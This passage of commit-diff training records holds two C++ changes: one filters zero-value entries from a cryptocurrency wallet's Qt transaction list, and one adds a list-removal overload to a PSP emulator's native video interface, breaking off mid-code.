{"text":"<commit_before>#include \"transactionrecord.h\"\n\n#include \"base58.h\"\n#include \"timedata.h\"\n#include \"wallet.h\"\n\n\/* Return positive answer if transaction should be shown in list.\n *\/\nbool TransactionRecord::showTransaction(const CWalletTx &wtx)\n{\n    if (wtx.IsCoinBase())\n    {\n        \/\/ Ensures we show generated coins \/ mined transactions at depth 1\n        if (!wtx.IsInMainChain())\n        {\n            return false;\n        }\n    }\n    return true;\n}\n\n\/*\n * Decompose CWallet transaction to model transaction records.\n *\/\nQList<TransactionRecord> TransactionRecord::decomposeTransaction(const CWallet *wallet, const CWalletTx &wtx)\n{\n    QList<TransactionRecord> parts;\n    int64_t nTime = wtx.GetTxTime();\n    int64_t nCredit = wtx.GetCredit(true);\n    int64_t nDebit = wtx.GetDebit();\n    int64_t nNet = nCredit - nDebit;\n    uint256 hash = wtx.GetHash(), hashPrev = 0;\n    std::map<std::string, std::string> mapValue = wtx.mapValue;\n\n    if (nNet > 0 || wtx.IsCoinBase() || wtx.IsCoinStake())\n    {\n        \/\/\n        \/\/ Credit\n        \/\/\n        BOOST_FOREACH(const CTxOut& txout, wtx.vout)\n        {\n            if(wallet->IsMine(txout))\n            {\n                TransactionRecord sub(hash, nTime);\n                CTxDestination address;\n                sub.idx = parts.size(); \/\/ sequence number\n                sub.credit = txout.nValue;\n                if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*wallet, address))\n                {\n                    \/\/ Received by Bitcoin Address\n                    sub.type = TransactionRecord::RecvWithAddress;\n                    sub.address = CBitcoinAddress(address).ToString();\n                }\n                else\n                {\n                    \/\/ Received by IP connection (deprecated features), or a multisignature or other non-simple transaction\n                    sub.type = TransactionRecord::RecvFromOther;\n                    sub.address = mapValue[\"from\"];\n                }\n                if (wtx.IsCoinBase())\n                {\n                    \/\/ Generated (proof-of-work)\n                    sub.type = TransactionRecord::Generated;\n                }\n                if (wtx.IsCoinStake())\n                {\n                    \/\/ Generated (proof-of-stake)\n\n                    if (hashPrev == hash)\n                        continue; \/\/ last coinstake output\n\n                    sub.type = TransactionRecord::Generated;\n                    sub.credit = nNet > 0 ? nNet : wtx.GetValueOut() - nDebit;\n                    hashPrev = hash;\n                }\n\n                parts.append(sub);\n            }\n        }\n    }\n    else\n    {\n        bool fAllFromMe = true;\n        BOOST_FOREACH(const CTxIn& txin, wtx.vin)\n            fAllFromMe = fAllFromMe && wallet->IsMine(txin);\n\n        bool fAllToMe = true;\n        BOOST_FOREACH(const CTxOut& txout, wtx.vout)\n            fAllToMe = fAllToMe && wallet->IsMine(txout);\n\n        if (fAllFromMe && fAllToMe)\n        {\n            \/\/ Payment to self\n            int64_t nChange = wtx.GetChange();\n\n            parts.append(TransactionRecord(hash, nTime, TransactionRecord::SendToSelf, \"\",\n                            -(nDebit - nChange), nCredit - nChange));\n        }\n        else if (fAllFromMe)\n        {\n            \/\/\n            \/\/ Debit\n            \/\/\n            int64_t nTxFee = nDebit - wtx.GetValueOut();\n\n            for (unsigned int nOut = 0; nOut < wtx.vout.size(); nOut++)\n            {\n                const CTxOut& txout = wtx.vout[nOut];\n                TransactionRecord sub(hash, nTime);\n                sub.idx = parts.size();\n\n                if(wallet->IsMine(txout))\n                {\n                    \/\/ Ignore parts sent to self, as this is usually the change\n                    \/\/ from a transaction sent back to our own address.\n                    continue;\n                }\n\n                CTxDestination address;\n                if (ExtractDestination(txout.scriptPubKey, address))\n                {\n                    \/\/ Sent to Bitcoin Address\n                    sub.type = TransactionRecord::SendToAddress;\n                    sub.address = CBitcoinAddress(address).ToString();\n                }\n                else\n                {\n                    \/\/ Sent to IP, or other non-address transaction like OP_EVAL\n                    sub.type = TransactionRecord::SendToOther;\n                    sub.address = mapValue[\"to\"];\n                }\n\n                int64_t nValue = txout.nValue;\n                \/* Add fee to first output *\/\n                if (nTxFee > 0)\n                {\n                    nValue += nTxFee;\n                    nTxFee = 0;\n                }\n                sub.debit = -nValue;\n\n                parts.append(sub);\n            }\n        }\n        else\n        {\n            \/\/\n            \/\/ Mixed debit transaction, can't break down payees\n            \/\/\n            parts.append(TransactionRecord(hash, nTime, TransactionRecord::Other, \"\", nNet, 0));\n        }\n    }\n\n    return parts;\n}\n\nvoid TransactionRecord::updateStatus(const CWalletTx &wtx)\n{\n    AssertLockHeld(cs_main);\n    \/\/ Determine transaction status\n\n    \/\/ Find the block the tx is in\n    CBlockIndex* pindex = NULL;\n    std::map<uint256, CBlockIndex*>::iterator mi = mapBlockIndex.find(wtx.hashBlock);\n    if (mi != mapBlockIndex.end())\n        pindex = (*mi).second;\n\n    \/\/ Sort order, unrecorded transactions sort to the top\n    status.sortKey = strprintf(\"%010d-%01d-%010u-%03d\",\n        (pindex ? pindex->nHeight : std::numeric_limits<int>::max()),\n        (wtx.IsCoinBase() ? 1 : 0),\n        wtx.nTimeReceived,\n        idx);\n    status.countsForBalance = wtx.IsTrusted() && !(wtx.GetBlocksToMaturity() > 0);\n    status.depth = wtx.GetDepthInMainChain();\n    status.cur_num_blocks = nBestHeight;\n\n    if (!IsFinalTx(wtx, nBestHeight + 1))\n    {\n        if (wtx.nLockTime < LOCKTIME_THRESHOLD)\n        {\n            status.status = TransactionStatus::OpenUntilBlock;\n            status.open_for = wtx.nLockTime - nBestHeight;\n        }\n        else\n        {\n            status.status = TransactionStatus::OpenUntilDate;\n            status.open_for = wtx.nLockTime;\n        }\n    }\n\n    \/\/ For generated transactions, determine maturity\n    else if(type == TransactionRecord::Generated)\n    {\n        if (wtx.GetBlocksToMaturity() > 0)\n        {\n            status.status = TransactionStatus::Immature;\n\n            if (wtx.IsInMainChain())\n            {\n                status.matures_in = wtx.GetBlocksToMaturity();\n\n                \/\/ Check if the block was requested by anyone\n                if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n                    status.status = TransactionStatus::MaturesWarning;\n            }\n            else\n            {\n                status.status = TransactionStatus::NotAccepted;\n            }\n        }\n        else\n        {\n            status.status = TransactionStatus::Confirmed;\n        }\n    }\n    else\n    {\n        if (status.depth < 0)\n        {\n            status.status = TransactionStatus::Conflicted;\n        }\n        else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n        {\n            status.status = TransactionStatus::Offline;\n        }\n        else if (status.depth == 0)\n        {\n            status.status = TransactionStatus::Unconfirmed;\n        }\n        else if (status.depth < RecommendedNumConfirmations)\n        {\n            status.status = TransactionStatus::Confirming;\n        }\n        else\n        {\n            status.status = TransactionStatus::Confirmed;\n        }\n    }\n}\n\nbool TransactionRecord::statusUpdateNeeded()\n{\n    AssertLockHeld(cs_main);\n    return status.cur_num_blocks != nBestHeight;\n}\n\nQString TransactionRecord::getTxID() const\n{\n    return formatSubTxId(hash, idx);\n}\n\nQString TransactionRecord::formatSubTxId(const uint256 &hash, int vout)\n{\n    return QString::fromStdString(hash.ToString() + strprintf(\"-%03d\", vout));\n}\n\n<commit_msg>Qt: Filter zero value entries from transaction list<commit_after>#include \"transactionrecord.h\"\n\n#include \"base58.h\"\n#include \"timedata.h\"\n#include \"wallet.h\"\n\n\/* Return positive answer if transaction should be shown in list.\n *\/\nbool TransactionRecord::showTransaction(const CWalletTx &wtx)\n{\n    if (wtx.IsCoinBase())\n    {\n        \/\/ Ensures we show generated coins \/ mined transactions at depth 1\n        if (!wtx.IsInMainChain())\n        {\n            return false;\n        }\n    }\n    return true;\n}\n\n\/*\n * Decompose CWallet transaction to model transaction records.\n *\/\nQList<TransactionRecord> TransactionRecord::decomposeTransaction(const CWallet *wallet, const CWalletTx &wtx)\n{\n    QList<TransactionRecord> parts;\n    int64_t nTime = wtx.GetTxTime();\n    int64_t nCredit = wtx.GetCredit(true);\n    int64_t nDebit = wtx.GetDebit();\n    int64_t nNet = nCredit - nDebit;\n    uint256 hash = wtx.GetHash(), hashPrev = 0;\n    std::map<std::string, std::string> mapValue = wtx.mapValue;\n\n    if (nNet > 0 || wtx.IsCoinBase() || wtx.IsCoinStake())\n    {\n        \/\/\n        \/\/ Credit\n        \/\/\n        BOOST_FOREACH(const CTxOut& txout, wtx.vout)\n        {\n            if(wallet->IsMine(txout))\n            {\n                TransactionRecord sub(hash, nTime);\n                CTxDestination address;\n                sub.idx = parts.size(); \/\/ sequence number\n                sub.credit = txout.nValue;\n                if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*wallet, address))\n                {\n                    \/\/ Received by Bitcoin Address\n                    sub.type = TransactionRecord::RecvWithAddress;\n                    sub.address = CBitcoinAddress(address).ToString();\n                }\n                else\n                {\n                    \/\/ Received by IP connection (deprecated features), or a multisignature or other non-simple transaction\n                    sub.type = TransactionRecord::RecvFromOther;\n                    sub.address = mapValue[\"from\"];\n                }\n                if (wtx.IsCoinBase())\n                {\n                    \/\/ Generated (proof-of-work)\n                    sub.type = TransactionRecord::Generated;\n                }\n                if (wtx.IsCoinStake())\n                {\n                    \/\/ Generated (proof-of-stake)\n\n                    if (hashPrev == hash)\n                        continue; \/\/ last coinstake output\n\n                    sub.type = TransactionRecord::Generated;\n                    sub.credit = nNet > 0 ? nNet : wtx.GetValueOut() - nDebit;\n                    hashPrev = hash;\n                }\n\n                if (sub.credit != 0)\n\t\t\t\t    parts.append(sub);\n            }\n        }\n    }\n    else\n    {\n        bool fAllFromMe = true;\n        BOOST_FOREACH(const CTxIn& txin, wtx.vin)\n            fAllFromMe = fAllFromMe && wallet->IsMine(txin);\n\n        bool fAllToMe = true;\n        BOOST_FOREACH(const CTxOut& txout, wtx.vout)\n            fAllToMe = fAllToMe && wallet->IsMine(txout);\n\n        if (fAllFromMe && fAllToMe)\n        {\n            \/\/ Payment to self\n            int64_t nChange = wtx.GetChange();\n\n            parts.append(TransactionRecord(hash, nTime, TransactionRecord::SendToSelf, \"\",\n                            -(nDebit - nChange), nCredit - nChange));\n        }\n        else if (fAllFromMe)\n        {\n            \/\/\n            \/\/ Debit\n            \/\/\n            int64_t nTxFee = nDebit - wtx.GetValueOut();\n\n            for (unsigned int nOut = 0; nOut < wtx.vout.size(); nOut++)\n            {\n                const CTxOut& txout = wtx.vout[nOut];\n                TransactionRecord sub(hash, nTime);\n                sub.idx = parts.size();\n\n                if(wallet->IsMine(txout))\n                {\n                    \/\/ Ignore parts sent to self, as this is usually the change\n                    \/\/ from a transaction sent back to our own address.\n                    continue;\n                }\n\n                CTxDestination address;\n                if (ExtractDestination(txout.scriptPubKey, address))\n                {\n                    \/\/ Sent to Bitcoin Address\n                    sub.type = TransactionRecord::SendToAddress;\n                    sub.address = CBitcoinAddress(address).ToString();\n                }\n                else\n                {\n                    \/\/ Sent to IP, or other non-address transaction like OP_EVAL\n                    sub.type = TransactionRecord::SendToOther;\n                    sub.address = mapValue[\"to\"];\n                }\n\n                int64_t nValue = txout.nValue;\n                \/* Add fee to first output *\/\n                if (nTxFee > 0)\n                {\n                    nValue += nTxFee;\n                    nTxFee = 0;\n                }\n                sub.debit = -nValue;\n\n                if (sub.debit != 0)\n\t\t\t\t    parts.append(sub);\n            }\n        }\n        else\n        {\n            \/\/\n            \/\/ Mixed debit transaction, can't break down payees\n            \/\/\n            parts.append(TransactionRecord(hash, nTime, TransactionRecord::Other, \"\", nNet, 0));\n        }\n    }\n\n    return parts;\n}\n\nvoid TransactionRecord::updateStatus(const CWalletTx &wtx)\n{\n    AssertLockHeld(cs_main);\n    \/\/ Determine transaction status\n\n    \/\/ Find the block the tx is in\n    CBlockIndex* pindex = NULL;\n    std::map<uint256, CBlockIndex*>::iterator mi = mapBlockIndex.find(wtx.hashBlock);\n    if (mi != mapBlockIndex.end())\n        pindex = (*mi).second;\n\n    \/\/ Sort order, unrecorded transactions sort to the top\n    status.sortKey = strprintf(\"%010d-%01d-%010u-%03d\",\n        (pindex ? pindex->nHeight : std::numeric_limits<int>::max()),\n        (wtx.IsCoinBase() ? 1 : 0),\n        wtx.nTimeReceived,\n        idx);\n    status.countsForBalance = wtx.IsTrusted() && !(wtx.GetBlocksToMaturity() > 0);\n    status.depth = wtx.GetDepthInMainChain();\n    status.cur_num_blocks = nBestHeight;\n\n    if (!IsFinalTx(wtx, nBestHeight + 1))\n    {\n        if (wtx.nLockTime < LOCKTIME_THRESHOLD)\n        {\n            status.status = TransactionStatus::OpenUntilBlock;\n            status.open_for = wtx.nLockTime - nBestHeight;\n        }\n        else\n        {\n            status.status = TransactionStatus::OpenUntilDate;\n            status.open_for = wtx.nLockTime;\n        }\n    }\n\n    \/\/ For generated transactions, determine maturity\n    else if(type == TransactionRecord::Generated)\n    {\n        if (wtx.GetBlocksToMaturity() > 0)\n        {\n            status.status = TransactionStatus::Immature;\n\n            if (wtx.IsInMainChain())\n            {\n                status.matures_in = wtx.GetBlocksToMaturity();\n\n                \/\/ Check if the block was requested by anyone\n                if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n                    status.status = TransactionStatus::MaturesWarning;\n            }\n            else\n            {\n                status.status = TransactionStatus::NotAccepted;\n            }\n        }\n        else\n        {\n            status.status = TransactionStatus::Confirmed;\n        }\n    }\n    else\n    {\n        if (status.depth < 0)\n        {\n            status.status = TransactionStatus::Conflicted;\n        }\n        else if (GetAdjustedTime() - wtx.nTimeReceived > 2 * 60 && wtx.GetRequestCount() == 0)\n        {\n            status.status = TransactionStatus::Offline;\n        }\n        else if (status.depth == 0)\n        {\n            status.status = TransactionStatus::Unconfirmed;\n        }\n        else if (status.depth < RecommendedNumConfirmations)\n        {\n            status.status = TransactionStatus::Confirming;\n        }\n        else\n        {\n            status.status = TransactionStatus::Confirmed;\n        }\n    }\n}\n\nbool TransactionRecord::statusUpdateNeeded()\n{\n    AssertLockHeld(cs_main);\n    return status.cur_num_blocks != nBestHeight;\n}\n\nQString TransactionRecord::getTxID() const\n{\n    return formatSubTxId(hash, idx);\n}\n\nQString TransactionRecord::formatSubTxId(const uint256 &hash, int vout)\n{\n    return QString::fromStdString(hash.ToString() + strprintf(\"-%03d\", vout));\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ----------------------------------------------------------------------------\r\n\/\/ PSP Player Emulation Suite\r\n\/\/ Copyright (C) 2006 Ben Vanik (noxa)\r\n\/\/ Licensed under the LGPL - see License.txt in the project root for details\r\n\/\/ ----------------------------------------------------------------------------\r\n\r\n#include \"StdAfx.h\"\r\n#include \"R4000Cpu.h\"\r\n#include \"R4000VideoInterface.h\"\r\n#include \"VideoApi.h\"\r\n\r\nusing namespace System::Diagnostics;\r\nusing namespace Noxa::Emulation::Psp;\r\nusing namespace Noxa::Emulation::Psp::Cpu;\r\nusing namespace Noxa::Emulation::Psp::Video::Native;\r\n\r\n#ifdef _DEBUG\r\n#define BREAK __break()\r\n#define BREAKIF( cond ) if( cond ) __break();\r\n#else\r\n#define BREAK\r\n#define BREAKIF( cond )\r\n#endif\r\n\r\n#define DEFAULTPACKETCAPACITY 50000\r\n\r\nVdlRef* _outstandingLists;\r\nVdlRef* _outstandingListsTail;\r\n\r\nvoid* _memoryAddress;\r\nVideoApi* _videoApi;\r\nMemoryPool* _memoryPool;\r\n\r\nvoid ClearOutstandingLists();\r\n\r\nR4000VideoInterface::R4000VideoInterface( R4000Cpu^ cpu )\r\n{\r\n\t_cpu = cpu;\r\n\r\n\t_outstandingLists = NULL;\r\n\t_outstandingListsTail = NULL;\r\n\r\n\t_pool = new MemoryPool();\r\n\t_memoryPool = _pool;\r\n}\r\n\r\nR4000VideoInterface::~R4000VideoInterface()\r\n{\r\n\tClearOutstandingLists();\r\n\r\n\t_memoryPool = NULL;\r\n\tSAFEDELETE( _pool );\r\n}\r\n\r\nvoid R4000VideoInterface::Prepare()\r\n{\r\n\t_memoryAddress = _cpu->_memory->MainMemory;\r\n\t_videoApi = ( VideoApi* )_cpu->Emulator->Video->NativeInterface.ToPointer();\r\n\tif( _videoApi != NULL )\r\n\t\t_videoApi->Setup( _pool );\r\n}\r\n\r\nvoid __break()\r\n{\r\n\tDebugger::Break();\r\n}\r\n\r\n#pragma unmanaged\r\n\r\nvoid AddOutstandingList( VideoDisplayList* list )\r\n{\r\n\tVdlRef* ref = ( VdlRef* )malloc( sizeof( VdlRef ) );\r\n\tref->List = list;\r\n\tref->Next = NULL;\r\n\r\n\tif( _outstandingLists == NULL )\r\n\t\t_outstandingLists = ref;\r\n\tif( _outstandingListsTail != NULL )\r\n\t\t_outstandingListsTail->Next = ref;\r\n\t_outstandingListsTail = ref;\r\n}\r\n\r\nVideoDisplayList* FindOutstandingList( int listId )\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\r\n\t\/\/ Check tail first\r\n\tif( _outstandingListsTail != NULL )\r\n\t{\r\n\t\tif( _outstandingListsTail->List->ID == listId )\r\n\t\t\treturn _outstandingListsTail->List;\r\n\t}\r\n\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tif( ref->List->ID == listId )\r\n\t\t\treturn ref->List;\r\n\t\tref = ref->Next;\r\n\t}\r\n\r\n\treturn NULL;\r\n}\r\n\r\nvoid RemoveOutstandingList( VideoDisplayList* list )\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\tVdlRef* prev = NULL;\r\n\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tif( ref->List == list )\r\n\t\t{\r\n\t\t\tif( prev != NULL )\r\n\t\t\t\tprev->Next = ref->Next;\r\n\t\t\tif( ref == _outstandingLists )\r\n\t\t\t\t_outstandingLists = ref->Next;\r\n\t\t\tif( ref == _outstandingListsTail )\r\n\t\t\t\t_outstandingListsTail = prev;\r\n\t\t\tSAFEFREE( ref );\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tprev = ref;\r\n\t\tref = ref->Next;\r\n\t}\r\n}\r\n\r\nvoid ClearOutstandingLists()\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tVdlRef* next = ref->Next;\r\n\t\tSAFEFREE( ref );\r\n\t\tref = next;\r\n\t}\r\n\t_outstandingLists = NULL;\r\n\t_outstandingListsTail = NULL;\r\n}\r\n\r\nvoid __inline GetVideoPacket( int code, int baseAddress, VideoPacket* packet )\r\n{\r\n\t\/\/packet->Command = ( byte )( code >> 24 );\r\n\t\/\/packet->Argument = code & 0x00FFFFFF;\r\n\t*( ( int* )packet ) = code;\r\n\r\n\tswitch( packet->Command )\r\n\t{\r\n\tcase VADDR:\r\n\tcase IADDR:\r\n\tcase OFFSETADDR:\r\n\tcase ORIGINADDR:\r\n\t\tpacket->Argument = packet->Argument | baseAddress;\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\nbool ReadPackets( void* memoryAddress, uint pointer, uint stallAddress, VideoDisplayList* list )\r\n{\r\n\tif( stallAddress == 0 )\r\n\t\tstallAddress = 0xFFFFFFFF;\r\n\r\n\t\/\/ Fix for cached addresses\/etc\r\n\tpointer &= 0x3FFFFFFF;\r\n\tstallAddress &= 0x3FFFFFFF;\r\n\r\n\tint packetCount = list->PacketCount;\r\n\r\n\tint* memptr = ( int* )memoryAddress;\r\n\twhile( pointer < stallAddress )\r\n\t{\r\n\t\tif( packetCount >= list->PacketCapacity )\r\n\t\t{\r\n\t\t\t\/\/ Ran out of space! No clue what to do! Ack!\r\n\t\t\t\/\/ Could we use MemoryPool to realloc and such?\r\n\t\t\tBREAK;\r\n\t\t}\r\n\r\n\t\tint code = *( ( int* )( ( byte* )memptr + ( pointer - 0x08000000 ) ) );\r\n\t\tVideoPacket* packet = list->Packets + packetCount;\r\n\t\tGetVideoPacket( code, list->Base, packet );\r\n\t\tpacketCount++;\r\n\r\n\t\tpointer += 4;\r\n\r\n\t\tswitch( packet->Command )\r\n\t\t{\r\n\t\tcase BASE:\r\n\t\t\tlist->Base = packet->Argument << 8;\r\n\t\t\tbreak;\r\n\t\tcase JUMP:\r\n\t\t\tpointer = packet->Argument | list->Base;\r\n\t\t\tbreak;\r\n\r\n\t\t\t\/\/ Not implemented\r\n\t\tcase CALL:\r\n\t\tcase RET:\r\n\t\tcase BJUMP:\r\n\t\t\tBREAK;\r\n\t\t\tbreak;\r\n\r\n\t\t\t\/\/ Stop conditions?\r\n\t\tcase FINISH:\r\n\t\tcase END:\r\n\t\tcase Unknown0x11:\r\n\t\t\tlist->PacketCount = packetCount;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\tlist->PacketCount = packetCount;\r\n\treturn false;\r\n}\r\n\r\nbool ReadMorePackets( void* memoryAddress, VideoDisplayList* vdl, uint newStallAddress )\r\n{\r\n\tint oldStallAddress = vdl->StallAddress;\r\n\tvdl->StallAddress = newStallAddress;\r\n\tbool done = ReadPackets( memoryAddress, oldStallAddress, vdl->StallAddress, vdl );\r\n\tvdl->Ready = done;\r\n\treturn done;\r\n}\r\n\r\n\/\/ sceGeUser -------------------------------------------\r\n\r\nint sceGeListEnQueue( uint list, uint stall, int cbid, uint arg, int head )\r\n{\r\n\tVideoDisplayList* vdl = ( VideoDisplayList* )malloc( sizeof( VideoDisplayList ) );\r\n\tmemset( vdl, 0, sizeof( VideoDisplayList ) );\r\n\tvdl->CallbackID = cbid;\r\n\tvdl->Argument = arg;\r\n\r\n\tvdl->PacketCapacity = DEFAULTPACKETCAPACITY;\r\n\tvdl->Packets = ( VideoPacket* )_memoryPool->Request( DEFAULTPACKETCAPACITY * sizeof( VideoPacket ) );\r\n#ifdef _DEBUG\r\n\tmemset( vdl->Packets, 0, DEFAULTPACKETCAPACITY * sizeof( VideoPacket ) );\r\n#endif\r\n\r\n\tif( stall == NULL )\r\n\t{\r\n\t\tvdl->Ready = true;\r\n\r\n\t\t\/\/ Read all now\r\n\t\tbool done = ReadPackets( _memoryAddress, list, 0, vdl );\r\n\t\tBREAKIF( done == false );\r\n\t}\r\n\telse\r\n\t{\r\n\t\tvdl->Ready = false;\r\n\t\tvdl->StallAddress = stall;\r\n\r\n\t\t\/\/ Rest will follow\r\n\t\tbool done = ReadPackets( _memoryAddress, list, stall, vdl );\r\n\t\tBREAKIF( done == true );\r\n\r\n\t\tAddOutstandingList( vdl );\r\n\t}\r\n\r\n\tVideoApi* ni = _videoApi;\r\n\tint listId = ni->EnqueueList( vdl, ( head == 1 ) ? true : false );\r\n\tif( listId >= 0 )\r\n\t\treturn listId;\r\n\telse\r\n\t\treturn -1;\r\n}\r\n\r\nint sceGeListDeQueue( int qid )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\tni->DequeueList( qid );\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeListUpdateStallAddr( int qid, uint stall )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\r\n\tVideoDisplayList* vdl = ni->FindList( qid );\r\n\tif( vdl == NULL )\r\n\t{\r\n\t\tBREAK;\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tif( vdl->Ready == false )\r\n\t{\r\n\t\tbool done = ReadMorePackets( _memoryAddress, vdl, stall );\r\n\t\tif( done == true )\r\n\t\t{\r\n\t\t\tRemoveOutstandingList( vdl );\r\n\t\t\tni->SyncList( vdl->ID );\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeListSync( int qid, int syncType )\r\n{\r\n\tVideoApi* ni = _videoApi;\r\n\r\n\tVideoDisplayList* vdl = ni->FindList( qid );\r\n\tif( vdl == NULL )\r\n\t{\r\n\t\t\/\/ Could have been processed already\r\n\t\treturn 0;\r\n\t}\r\n\r\n\tif( vdl->Ready == false )\r\n\t{\r\n\t\tbool done = ReadMorePackets( _memoryAddress, vdl, 0 );\r\n\t\tif( done == false )\r\n\t\t\tBREAK;\r\n\t\telse\r\n\t\t{\r\n\t\t\tRemoveOutstandingList( vdl );\r\n\t\t\tni->SyncList( vdl->ID );\r\n\t\t}\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nint sceGeDrawSync( int syncType )\r\n{\r\n\t\/\/ Can only handle syncType == 0\r\n\tBREAKIF( syncType != 0 );\r\n\r\n\t\/\/ This a full sync - we need to finish all lists\r\n\tVdlRef* ref = _outstandingLists;\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tVideoDisplayList* vdl = ref->List;\r\n\t\tif( vdl->Ready == false )\r\n\t\t{\r\n\t\t\tbool done = ReadMorePackets( _memoryAddress, vdl, 0 );\r\n\t\t\tBREAKIF( done == false );\r\n\t\t}\r\n\t}\r\n\r\n\tClearOutstandingLists();\r\n\r\n\tVideoApi* ni = _videoApi;\r\n\tni->Sync();\r\n\r\n\treturn 0;\r\n}\r\n\r\n#pragma managed<commit_msg>Quick bugfixes in native video interface<commit_after>\/\/ ----------------------------------------------------------------------------\r\n\/\/ PSP Player Emulation Suite\r\n\/\/ Copyright (C) 2006 Ben Vanik (noxa)\r\n\/\/ Licensed under the LGPL - see License.txt in the project root for details\r\n\/\/ ----------------------------------------------------------------------------\r\n\r\n#include \"StdAfx.h\"\r\n#include \"R4000Cpu.h\"\r\n#include \"R4000VideoInterface.h\"\r\n#include \"VideoApi.h\"\r\n\r\nusing namespace System::Diagnostics;\r\nusing namespace Noxa::Emulation::Psp;\r\nusing namespace Noxa::Emulation::Psp::Cpu;\r\nusing namespace Noxa::Emulation::Psp::Video::Native;\r\n\r\n#ifdef _DEBUG\r\n#define BREAK __break()\r\n#define BREAKIF( cond ) if( cond ) __break();\r\n#else\r\n#define BREAK\r\n#define BREAKIF( cond )\r\n#endif\r\n\r\n#define DEFAULTPACKETCAPACITY 50000\r\n\r\nVdlRef* _outstandingLists;\r\nVdlRef* _outstandingListsTail;\r\n\r\nvoid* _memoryAddress;\r\nVideoApi* _videoApi;\r\nMemoryPool* _memoryPool;\r\n\r\nvoid ClearOutstandingLists();\r\n\r\nR4000VideoInterface::R4000VideoInterface( R4000Cpu^ cpu )\r\n{\r\n\t_cpu = cpu;\r\n\r\n\t_outstandingLists = NULL;\r\n\t_outstandingListsTail = NULL;\r\n\r\n\t_pool = new MemoryPool();\r\n\t_memoryPool = _pool;\r\n}\r\n\r\nR4000VideoInterface::~R4000VideoInterface()\r\n{\r\n\tClearOutstandingLists();\r\n\r\n\t_memoryPool = NULL;\r\n\tSAFEDELETE( _pool );\r\n}\r\n\r\nvoid R4000VideoInterface::Prepare()\r\n{\r\n\t_memoryAddress = _cpu->_memory->MainMemory;\r\n\t_videoApi = ( VideoApi* )_cpu->Emulator->Video->NativeInterface.ToPointer();\r\n\tif( _videoApi != NULL )\r\n\t\t_videoApi->Setup( _pool );\r\n}\r\n\r\nvoid __break()\r\n{\r\n\tDebugger::Break();\r\n}\r\n\r\n#pragma unmanaged\r\n\r\nvoid AddOutstandingList( VideoDisplayList* list )\r\n{\r\n\tVdlRef* ref = ( VdlRef* )malloc( sizeof( VdlRef ) );\r\n\tref->List = list;\r\n\tref->Next = NULL;\r\n\r\n\tif( _outstandingLists == NULL )\r\n\t\t_outstandingLists = ref;\r\n\tif( _outstandingListsTail != NULL )\r\n\t\t_outstandingListsTail->Next = ref;\r\n\t_outstandingListsTail = ref;\r\n}\r\n\r\nVideoDisplayList* FindOutstandingList( int listId )\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\r\n\t\/\/ Check tail first\r\n\tif( _outstandingListsTail != NULL )\r\n\t{\r\n\t\tif( _outstandingListsTail->List->ID == listId )\r\n\t\t\treturn _outstandingListsTail->List;\r\n\t}\r\n\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tif( ref->List->ID == listId )\r\n\t\t\treturn ref->List;\r\n\t\tref = ref->Next;\r\n\t}\r\n\r\n\treturn NULL;\r\n}\r\n\r\nvoid RemoveOutstandingList( int listId )\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\tVdlRef* prev = NULL;\r\n\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tif( ref->List->ID == listId )\r\n\t\t{\r\n\t\t\tif( prev != NULL )\r\n\t\t\t\tprev->Next = ref->Next;\r\n\t\t\tif( ref == _outstandingLists )\r\n\t\t\t\t_outstandingLists = ref->Next;\r\n\t\t\tif( ref == _outstandingListsTail )\r\n\t\t\t\t_outstandingListsTail = prev;\r\n\t\t\tSAFEFREE( ref );\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tprev = ref;\r\n\t\tref = ref->Next;\r\n\t}\r\n}\r\n\r\nvoid RemoveOutstandingList( VideoDisplayList* list )\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\tVdlRef* prev = NULL;\r\n\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tif( ref->List == list )\r\n\t\t{\r\n\t\t\tif( prev != NULL )\r\n\t\t\t\tprev->Next = ref->Next;\r\n\t\t\tif( ref == _outstandingLists )\r\n\t\t\t\t_outstandingLists = ref->Next;\r\n\t\t\tif( ref == _outstandingListsTail )\r\n\t\t\t\t_outstandingListsTail = prev;\r\n\t\t\tSAFEFREE( ref );\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tprev = ref;\r\n\t\tref = ref->Next;\r\n\t}\r\n}\r\n\r\nvoid ClearOutstandingLists()\r\n{\r\n\tVdlRef* ref = _outstandingLists;\r\n\twhile( ref != NULL )\r\n\t{\r\n\t\tVdlRef* next = ref->Next;\r\n\t\tSAFEFREE( ref );\r\n\t\tref = next;\r\n\t}\r\n\t_outstandingLists = NULL;\r\n\t_outstandingListsTail = NULL;\r\n}\r\n\r\nvoid __inline GetVideoPacket( int code, int baseAddress, VideoPacket* packet )\r\n{\r\n\t\/\/packet->Command = ( byte )( code >> 24 );\r\n\t\/\/packet->Argument = code & 0x00FFFFFF;\r\n\t*( ( int* )packet ) = code;\r\n\r\n\tswitch( packet->Command )\r\n\t{\r\n\tcase VADDR:\r\n\tcase IADDR:\r\n\tcase OFFSETADDR:\r\n\tcase 